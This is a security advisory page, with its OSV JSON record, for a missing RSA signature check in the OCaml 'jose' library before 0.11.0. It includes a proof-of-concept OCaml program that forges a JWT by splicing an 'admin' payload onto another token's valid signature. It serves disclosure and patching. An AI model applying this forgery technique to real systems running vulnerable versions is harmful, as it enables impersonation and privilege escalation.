osec-2026-19

CVSS 9.1 osv_ocaml
Description

The opam package "jose" does not validate any RSA signature. It checks the encoding being PKCS1, but does not verify with the public key. ## Reproduction With jose 0.10.0, the code below signs two tokens with the same key and glues one's payload onto the other's signature: ```OCaml let () = Mirage_crypto_rng_unix.use_default () let key = Jose.Jwk.make_priv_rsa (Mirage_crypto_pk.Rsa.generate ~bits:2048 ()) let sign sub = Jose.Jwt.sign key ~payload:(`Assoc [ ("sub", `String sub) ]) |> Result.get_ok |> Jose.Jwt.to_string let seg n token = List.nth (String.split_on_char '.' token) n let alice = sign "alice" and admin = sign "admin" (* alice's header and signature, admin's payload *) let forged = String.concat "." [ seg 0 alice; seg 1 admin; seg 2 alice ] match Jose.Jwt.unsafe_of_string forged |> Result.get_ok |> Jose.Jwt.validate ~jwk:(Jose.Jwk.pub_of_priv key) ~now:(Ptime_clock.now ()) with | Ok t -> print_endline ("accepted, sub = " ^ Option.get (Jose.Jwt.get_string_claim t "sub")) | Error _ -> print_endline "rejected" ``` The dune file: ``` (executable (name repro) (libraries jose mirage-crypto-pk mirage-crypto-rng.unix ptime.clock.os)) ``` This prints "accepted, sub = admin". ## Workaround There is no workaround known. ## Timeline - 2026-08-25: private report via email to the authors of jose - 2026-08-25: fix published to repository - 2026-08-31: mail escalated to security@ocaml.org - 2026-09-04: released jose 0.11.0 - 2026-09-10: published advisory

Timeline
Published
unknown
Last Modified
unknown
CVSS Details

CVSS details not available.

Affected Products

No product information available.

Weaknesses (CWE)
References

No references available.

Linked Vulnerabilities

No linked vulnerabilities found.

{
  "affected": [
    {
      "database_specific": {
        "source": "https://github.com/ocaml/security-advisories/blob/generated-osv/2026/OSEC-2026-19.json"
      },
      "ecosystem_specific": {
        "opam_constraint": "jose {< \"0.11.0\"}"
      },
      "package": {
        "ecosystem": "opam",
        "name": "jose",
        "purl": "pkg:opam/jose"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        },
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "cf17d991ec6a0d1997956b6c7799890f9c28879e"
            }
          ],
          "repo": "https://github.com/ulrikstrid/ocaml-jose",
          "type": "GIT"
        }
      ],
      "versions": [
        "0.2.0",
        "0.3.0",
        "0.3.1",
        "0.4.0",
        "0.5.0",
        "0.5.1",
        "0.6.0",
        "0.7.0",
        "0.8.1",
        "0.8.2",
        "0.9.0",
        "0.10.0",
        "v0.10.0",
        "v0.9.0",
        "v0.8.2",
        "v0.8.1",
        "v0.8.0",
        "v0.7.0",
        "v0.5.1",
        "v0.5.0",
        "v0.4.0",
        "v0.3.1",
        "v0.2.0",
        "v0.1.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-89086"
  ],
  "credits": [
    {
      "name": "Sergey Zhukaev",
      "type": "REPORTER"
    },
    {
      "name": "Hannes Mehnert",
      "type": "COORDINATOR"
    },
    {
      "name": "Konstantin Olkhovskiy",
      "type": "COORDINATOR"
    },
    {
      "name": "Ulrik Strid",
      "type": "REMEDIATION_DEVELOPER"
    }
  ],
  "database_specific": {
    "cwe": [
      "CWE-347"
    ],
    "human_link": "https://github.com/ocaml/security-advisories/tree/main/advisories/2026/OSEC-2026-19.md",
    "osv": "https://github.com/ocaml/security-advisories/tree/generated-osv/2026/OSEC-2026-19.json"
  },
  "details": "The opam package \"jose\" does not validate any RSA signature. It checks the encoding being PKCS1, but does not verify with the public key.\n\n## Reproduction\n\nWith jose 0.10.0, the code below signs two tokens with the same key and glues one's payload onto the other's signature:\n\n```OCaml\nlet () = Mirage_crypto_rng_unix.use_default ()\n\nlet key =\n  Jose.Jwk.make_priv_rsa (Mirage_crypto_pk.Rsa.generate ~bits:2048 ())\n\nlet sign sub =\n  Jose.Jwt.sign key ~payload:(`Assoc [ (\"sub\", `String sub) ])\n  |> Result.get_ok |> Jose.Jwt.to_string\n\nlet seg n token = List.nth (String.split_on_char '.' token) n\n\nlet alice = sign \"alice\" and admin = sign \"admin\"\n\n(* alice's header and signature, admin's payload *)\nlet forged = String.concat \".\" [ seg 0 alice; seg 1 admin; seg 2 alice ]\n\nmatch\n  Jose.Jwt.unsafe_of_string forged\n  |> Result.get_ok\n  |> Jose.Jwt.validate ~jwk:(Jose.Jwk.pub_of_priv key) ~now:(Ptime_clock.now ())\nwith\n  | Ok t ->\n    print_endline\n      (\"accepted, sub = \" ^ Option.get (Jose.Jwt.get_string_claim t \"sub\"))\n  | Error _ -> print_endline \"rejected\"\n```\n\nThe dune file:\n```\n(executable (name repro)\n(libraries jose mirage-crypto-pk mirage-crypto-rng.unix ptime.clock.os))\n```\n\nThis prints \"accepted, sub = admin\".\n\n## Workaround\n\nThere is no workaround known.\n\n## Timeline\n\n- 2026-08-25: private report via email to the authors of jose\n- 2026-08-25: fix published to repository\n- 2026-08-31: mail escalated to security@ocaml.org\n- 2026-09-04: released jose 0.11.0\n- 2026-09-10: published advisory",
  "id": "OSEC-2026-19",
  "modified": "2026-09-15T07:30:04.926718996Z",
  "published": "2026-09-10T10:00:00Z",
  "schema_version": "1.9.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "JOSE: missing RSA signature verification"
}
View JSON API Download JSON